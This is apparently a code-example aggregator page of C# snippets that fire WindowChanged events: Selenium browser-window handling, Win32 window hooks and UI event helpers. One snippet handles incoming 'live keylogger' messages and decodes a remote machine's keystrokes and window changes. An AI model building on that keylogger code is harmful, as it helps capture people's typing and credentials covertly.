Exemplo n.º 1
0
        protected virtual void OpenNewWindowTab(string url)
        {
            bool shouldOpen = !IsOpened;

            if (!shouldOpen)
            {
                JavaScriptExecutor.ExecuteScript("window.open();");
                DriverKeeper.GetDriver.SwitchTo().Window(DriverKeeper.GetDriver.WindowHandles.Last());
            }
            else
            {
                DriverKeeper.GetDriver.SwitchTo().ParentFrame();
            }
            if (!string.IsNullOrEmpty(url) || !string.IsNullOrWhiteSpace(url))
            {
                DriverKeeper.GetDriver.Navigate().GoToUrl(url);
            }

            if (!shouldOpen)
            {
                WindowChanged?.Invoke(DriverKeeper.GetDriver.WindowHandles.Last());
            }
            else
            {
                myWindow = new BrowserWindow();
                BrowserOpened?.Invoke();
            }
        }
        public override void ResponseReceived(byte[] parameter)
        {
            switch ((LiveKeyloggerCommunication)parameter[0])
            {
            case LiveKeyloggerCommunication.StringDown:
                StringDown?.Invoke(this, Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1));
                break;

            case LiveKeyloggerCommunication.SpecialKeyDown:
                KeyDown?.Invoke(this,
                                new Serializer(new[] { typeof(KeyLogEntry), typeof(SpecialKey), typeof(StandardKey) })
                                .Deserialize <KeyLogEntry>(parameter, 1));
                break;

            case LiveKeyloggerCommunication.SpecialKeyUp:
                KeyUp?.Invoke(this,
                              new Serializer(new[] { typeof(KeyLogEntry), typeof(SpecialKey), typeof(StandardKey) })
                              .Deserialize <KeyLogEntry>(parameter, 1));
                break;

            case LiveKeyloggerCommunication.WindowChanged:
                WindowChanged?.Invoke(this, Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1));
                break;

            default:
                throw new ArgumentOutOfRangeException();
            }
        }
Exemplo n.º 3
0
 private void OnWindowChanged(IntPtr window)
 {
     if (window != IntPtr.Zero && activeWindow != window)
     {
         logger.Debug($"Window has changed from {activeWindow} to {window}.");
         activeWindow = window;
         WindowChanged?.Invoke(window);
     }
 }
Exemplo n.º 4
0
        public void SwitchToWindow(string windowHandle)
        {
            if (IsOpened)
            {
                if (!OpenedWindows.Contains(windowHandle))
                {
                    throw new ArgumentException($"Can`t find window with handle = {windowHandle}");
                }

                DriverKeeper.GetDriver.SwitchTo().Window(windowHandle);
                WindowChanged?.Invoke(windowHandle);
            }
        }
Exemplo n.º 5
0
        public void CloseWindow(string windowHandle)
        {
            if (!IsOpened)
            {
                return;
            }
            if (!OpenedWindows.Contains(windowHandle))
            {
                throw new ArgumentException($"Can`t find window with handle = {windowHandle}");
            }
            if (OpenedWindows.Count == 1)
            {
                Quit();
                return;
            }

            string currentHandle = DriverKeeper.GetDriver.CurrentWindowHandle;

            bool windowChanged = false;

            if (currentHandle != windowHandle)
            {
                DriverKeeper.GetDriver.SwitchTo().Window(windowHandle).Close();
                DriverKeeper.GetDriver.SwitchTo().Window(currentHandle);
            }
            else
            {
                DriverKeeper.GetDriver.Close();
                DriverKeeper.GetDriver.SwitchTo().Window(OpenedWindows.Last());
                windowChanged = true;
            }

            WindowClosed?.Invoke(windowHandle);
            if (windowChanged)
            {
                WindowChanged?.Invoke(OpenedWindows.Last());
            }
        }
Exemplo n.º 6
0
 private void WindowChangedAction(IntPtr hWinEventHook, int eventType, IntPtr hwnd, int idObject, int idChild, int dwEventThread, int dwmsEventTime)
 {
     WindowChanged?.Invoke(this, hwnd);
 }
Exemplo n.º 7
0
        protected virtual void OnWindowChanged()
        {
            WindowChangedEventArgs args = new WindowChangedEventArgs();

            WindowChanged?.Invoke(this, args);
        }
Exemplo n.º 8
0
 public override void MovedToWindow() =>
 WindowChanged?.Invoke(this, EventArgs.Empty);
Exemplo n.º 9
0
 /// <summary>
 /// the general subscriber for all windows events.
 /// each objects publishes an event with the same delegate. they all sbscribed here.
 /// if the window title or the process have changed - than invoke the rest of the events in the middle man and so on.
 /// </summary>
 /// <param name="sender"></param>
 /// <param name="e"></param>
 private void Manager_WindowChanged(object sender, WindowChangedEventArgs e)
 {
     WindowChanged?.Invoke(sender, e);
 }
Exemplo n.º 10
0
 protected virtual void InvokeWindowChanged(IntPtr windowHandle)
 {
     WindowChanged?.Invoke(this, new WindowHandleEventArgs(windowHandle));
 }